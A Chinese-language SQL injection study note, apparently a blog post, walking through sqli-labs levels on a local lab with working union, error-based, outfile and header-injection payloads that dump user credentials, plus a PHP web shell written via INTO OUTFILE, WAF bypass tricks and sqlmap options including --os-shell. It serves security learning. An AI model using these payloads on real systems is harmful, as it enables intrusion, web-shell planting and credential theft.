SQL注入学习笔记一

知识点

php.ini中disable_functionns可以禁用函数

include预防

产生原因:include包含点用户可控

isset():

robots.txt是什么:

robots.txt 是一个存放在网站根目录下的纯文本文件,它是机器人排除协议的一部分。它的作用是告诉网络爬虫该网站中哪些内容可以被抓取,哪些内容不可以被抓取。

科学计数法绕过:

利用了 WAF与 后端程序 在解析数据时的差异

假设 user_id=1 是管理员,WAF 禁止直接访问 1。攻击者可以使用 user_id=1e0 来获取管理员数据。

MySQL如何getshell(上传shell):

  • 必须是root

  • 某个字段必须需为空 : secure_file_priv

默认是NULL(禁止导出),不能导出文件,必须是空白(什么都没有)

或者是具体路径,只能导出到具体路径 (如果是/tmp,导出到临时文件下)

如果是root权限也无法修改,修改须在 my.ini配置文件下修改(需要拿下服务器):

secure_file_priv 是一个 只读的系统变量 。这意味着它只能在 MySQL 服务启动时通过配置文件(或启动命令行参数)读取,服务一旦启动,你就无法通过 SQL 命令动态修改它。

  • 知道web物理路径(通过猜或者报错)

需要满足以上三个条件才能getshell

into outfile:

SELECT ... INTO OUTFILE将选定的行写入文件。可以指定列和行终止符以生成特定的输出格式。

例如:

SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php'

找后台工具:dirmap、dirsearch、awvs等

正则回溯绕过:

当正则表达式包含复杂的重复匹配时,如果输入的字符串很长且无法完全匹配,正则引擎会尝试各种可能的组合路径进行"回溯"。

假设 WAF 的规则是检测 union select,且使用了复杂的正则边界检查。攻击者发送: ?id=aaaaaaaaaaaa...(大量a)... union select 1,2,3-- - WAF 在匹配前缀的 a...a 时卡死,导致无法检测到后面的 union select,最终后端执行了 SQL 注入。

换行符:

%0a,%0b,%0c,%0d,%a0,%09

sqlmap:

常见参数有哪些,干什么的,os-shell,level,risk,techniqques

SQLMap 是一款开源的、自动化的 SQL 注入 渗透测试工具

基础目标指定

复制代码
 -u <URL>或--url=<URL>     :指定要测试的目标网址。
  • 例:sqlmap -u "http://www.target.com/vuln.php?id=1"

.请求与数据控制

复制代码
 --data=<DATA>   :通过 POST 方式发送的数据。

例:sqlmap -u "http://www.target.com/login.php" --data="user=admin&pass=123"

  • --cookie=<COOKIE>:指定 Cookie 字符串(用于测试 Cookie 注入或维持会话)。

  • --headers=<HEADERS>:添加额外的 HTTP 头(如 User-AgentAuthorization)。

  • --proxy=<PROXY>:使用 HTTP 代理(用于隐藏身份或绕过 IP 封锁)。

  • --delay=<DELAY>:每个 HTTP 请求之间的延迟(秒),用于避免触发 WAF 的频率限制。

  • --random-agent:使用随机生成的 User-Agent,避免被识别为工具。

    常见参数

--os-shell

  • 功能:尝试在目标服务器上建立一个交互式的操作系统 Shell(命令行环境)。

  • 原理 :如果数据库权限足够且配置允许,SQLMap 会尝试通过 INTO OUTFILE 向 Web 目录写入 Webshell,或者尝试上传 DLL/共享库(UDF)来执行系统命令。

--level (测试等级):

  • 功能:指定测试的深度(1-5),默认为 1。

  • 区别:

    • Level 1-2:仅测试 GET/POST 参数。

    • Level 3:增加 Cookie 头的测试。

    • Level 4:增加 User-Agent 和 Referer 头的测试。

    • Level 5:增加更多种类的 HTTP 头测试。

--risk (风险等级):

  • 功能:指定测试的风险等级(1-3),默认为 1。

  • 区别:

    • Risk 1:常规测试,无害。

    • Risk 2:增加基于时间的 SQL 盲注测试。

    • Risk 3:增加基于 OR 的注入测试,这类测试可能会导致数据库中的大量数据被更新或删除,具有潜在破坏性。

--techniques (指定技术):

  • 功能:指定 SQLMap 使用哪些注入技术进行测试,默认测试所有

  • 选项:

    • B: Boolean-based blind(布尔盲注)

    • E: Error-based(报错注入)

    • U: Union query-based(联合查询注入)

    • S: Stacked queries(堆叠查询)

    • T: Time-based blind(时间盲注)

    • Q: Inline queries(内联查询)

万能密码:or

"万能密码"是通过特定输入绕过系统认证(如登录、权限校验)的技巧,本质是利用系统对用户输入的处理漏洞(如未过滤特殊字符、未正确校验逻辑),使认证条件永远成立,从而非法访问。

or逻辑或运算符 ,表示"只要其中一个条件为真,整个表达式就为真"。当它与'1'='1'(永远为真的条件)结合时,能强制让认证逻辑失效。

魔术开关是什么:php5.3之前存在,5.3以后默认关闭

魔术引号是PHP早期为自动转义用户输入数据中的特殊字符 而设计的功能,目的是防止SQL注入等安全问题 。当magic_quotes_gpc(Get/Post/Cookie)或magic_quotes_runtime(运行时数据)开启时,PHP会自动将用户输入中的特殊字符(如单引号'、双引号"、反斜杠\、NULL字符\0)转义为安全形式(如\'\"\\\0)。

例如,若用户输入O'Reilly,魔术引号会将其转为O\'Reilly,避免在SQL语句中破坏字符串结构

  • PHP 5.3之前 :魔术引号默认开启(magic_quotes_gpc=On),因此用户输入的GET、POST、COOKIE数据会被自动转义。

  • PHP 5.3及以后 :魔术引号默认关闭(magic_quotes_gpc=Off),并最终在PHP 7中被完全移除。

**被弃用的核心原因:**过度转义与数据混乱、防护不全面、隐藏逻辑、现代安全实践更优

Stripslashes函数:

知道主站如何找到子站:

  • 浏览器:谷歌语法:site:domain intext:"xx|xx|xx|xxx"

  • fofa|hunter|quark

  • 公开的工具

burp suite爆破:

密码爆破:爆破密码,容易被封ip,不推荐

密码喷洒:爆破账号,触发风控概率小,合理

mysql系统函数:

user(),database(),version()

sql注入:

不该被查询到的数据,被查到

select user()查看当前用户登陆权限

select database()当前所处数据库

select version()当前使用数据库版本

报错注入常用函数:

updatexml()

extractvalue()

floor()

报错注入7大常用函数:

1.ST_LatFromGeoHash()(mysql>=5.7.x)

2.ST_LongFromGeoHash(mysql>=5.7.x)

3.GTID (MySQL >= 5.6.X - 显错<=200)

4.floor(8.x>mysql>5.0)

5.ST_Pointfromgeohash (mysql>=5.7)

6 updatexml

7 extractvalue

截断函数

substr:从字符串中提取子串,语法为 substr(string, start, [length])

substring:从字符串中提取子串,语法为 substring(string, start, [length])

left:从字符串左侧 提取指定长度的子串,语法为 left(string, length)

right:从字符串右侧 提取指定长度的子串,语法为 right(string, length)

mid:与substring/substr类似,用于提取子串,语法为 mid(string, start, [length])

ascii():将字符转换为ASCII码(只取字符串的第一个字符)

length():返回字符串的长度

if():条件判断函数,根据条件返回不同值,语法为 if(condition, true_value, false_value)

  • condition:判断条件(布尔值);

  • true_value:条件为真时返回的值;

  • false_value:条件为假时返回的值。

MySQL数据库:information_schema、mysql

information_schema:是MySQL的只读系统数据库,存储了关于所有其他数据库的元数据(如表结构、列信息、权限、字符集等)。

mysql:是MySQL的核心系统数据库,它存储了服务器运行所需的关键信息,用户账户、权限、角色及认证信息,是MySQL权限系统的"数据源"

information_schema:

SCHEMATA:记录数据库名称


SCHEMA_NAME:记录所有数据库名称

TABLES:记录所有表名,包含数据库名

table_schema:数据库名

table_name:表名

COLUMNS:记录所有列名,包含数据库名,表名


table_schema:数据库名

table_name:表名

column_name

sql注入

第一关:

union逐步查询到表名、列名(前端须有回显)


mysql联表查询:

union:

列数必须相同

如何知道入侵网站的数据表有几列:

order by:

侧面推出有几列

逃逸出单引号限制

127.0.0.1/sqlilabs/Less-1/?id=1' order by 4--+

mysql注释:

第一种:-- (--空格)

第二种:#

第三种:/**/

联合查询注入

为什么还是dumb原因:


最终目的:

列名、表名、内容都不知道

查到管理员账号密码:

管理员是哪张表?

表里是什么字段?

informatio里有所有表、所有字段

127.0.0.1/sqlilabs/Less-1/?id=-1' union select 1,(select table_name from information_schema.tables where table_schema='security'),3--+

结果超过一行

解决办法:

limit:

一次只能看一行

解决办法(两种):

burpsuite遍历:


group_concat:一个函数 ,可以将四行组成一行:

127.0.0.1/sqlilabs/Less-1/?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3--+

找到表名:

寻找列名:

select column_name from information_schema.columns where table_schema='security' and table_name='users'

127.0.0.1/sqlilabs/Less-1/?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),3--+

结果:

寻找账号密码:

select group_concat(username,password)from users;

127.0.0.1/sqlilabs/Less-1/?id=-1' union select 1,(select group_concat(username,password)from users),3--+

结果:

报错注入:

127.0.0.1/sqlilabs/Less-1/?id=1' and updatexml(1,concat(0x7e,user(),0x7e),1)--+

  • id为真

updatexml()在MySQL中使用方法:

127.0.0.1/sqlilabs/Less-1/?id=1' and updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password)from users),0x7e),1)--+

不完整,原因xpath的路径长度最多32位

解决办法:

使用limit():

127.0.0.1/sqlilabs/Less-1/?id=1' and updatexml(1,concat(0x7e,(select username from users limit 0,1),0x7e),1)--+

使用substr():

127.0.0.1/sqlilabs/Less-1/?id=1' and updatexml(1,concat(0x7e,(select substr(group_concat(username,0x3a,password),1,32)from users),0x7e),1)--+

127.0.0.1/sqlilabs/Less-1/?id=1' and updatexml(1,concat(0x7e,(select substr(group_concat(username,0x3a,password),32,64)from users),0x7e),1)--+

第七关:

outfile

127.0.0.1/sqlilabs/Less-7/?id=1')) union select 1,'aaaaaa',3 into outfile 'E:/phpStudy/phpstudy_pro/WWW/sqlilabs/web.txt';--+


127.0.0.1/sqlilabs/Less-7/?id=1')) union select 1,'<?php phpinfo(); ?>',3 into outfile 'E:/phpStudy/phpstudy_pro/WWW/sqlilabs/web.php';--+


第十一关:

post注入

复制代码
 "SELECT username, password FROM users WHERE username='a' union select 1,user()#' and password='1' LIMIT 0,1"

只有一个username是否能查到数据:可以

username能不能是users表中已有的数据:如果是已经存在的数据,页面就不能显示联合查询后的数据


第十三关:

报错注入

为什么and前面a为假还能成功,报错注入优先级更高

第十七关:

单引号会被mysqli_real_escape_string函数转移,自己写的单引号会失效,无法逃逸出单引号限制

解决方法

有一个存在用户

1' and updatexml(1,concat(0x7e,user(),0x7e),1)#

思考:


1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)#

a' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)#

1' and updataxml (select group_concat teable_name)能查出,为什么a' 不行,有没有其他报错注入函数使用a'能成功

注入表名的时候会报错,执行系统函数的报错直接出数据

原因:

update users set password = '1' and updatexml语法本身就是错误的

优先级问题,updatexml先报错还是update先报错

1时and前面正确,and后面报错

update users set password = 'a' and updatexml

隐式转换

数字比较,a没办法转换成数字

a' and updatexml(1,concat(0x7e,user(),0x7e),1)为什么没报错

系统函数的优先级最高

除了updatexml以外还能,还能用什么函数报错注入

第十八关:

http head头 注入


uagent可控,REMOTE_ADDR无法伪造

burp suite抓包

闭合:

User-Agent: a' and updatexml(1,concat(0x7e,user(),0x7e),1) and '1'='1

补全:

User-Agent: a' and updatexml(1,concat(0x7e,user(),0x7e),1),'127.0.0.1','admin')#

相关推荐
cipher18 小时前
ERC-4626 通胀攻击:DeFi 金库的"捐款陷阱"
前端·后端·安全
一次旅行4 天前
网络安全总结
安全·web安全
red1giant_star4 天前
手把手教你用Vulhub复现ecshop collection_list-sqli漏洞(附完整POC)
安全
ZeroNews内网穿透4 天前
谷歌封杀OpenClaw背后:本地部署或是出路
运维·服务器·数据库·安全
一名优秀的码农4 天前
vulhub系列-14-Os-hackNos-1(超详细)
安全·web安全·网络安全·网络攻击模型·安全威胁分析
Libraeking4 天前
05 安全边界:MCP Server 的权限沙箱与敏感数据保护
安全
努力的lpp4 天前
SQLMap CTF 常用命令全集
数据库·web安全·网络安全·sql注入
龙仔7254 天前
在麒麟V10服务器安全加固,sshd防暴力破解加固,实现“密码错误3次封IP”的需求
服务器·tcp/ip·安全
努力的lpp4 天前
SQL 报错注入
数据库·sql·web安全·网络安全·sql注入
上海云盾-小余4 天前
即时通讯App的DDoS防御架构设计
运维·服务器·安全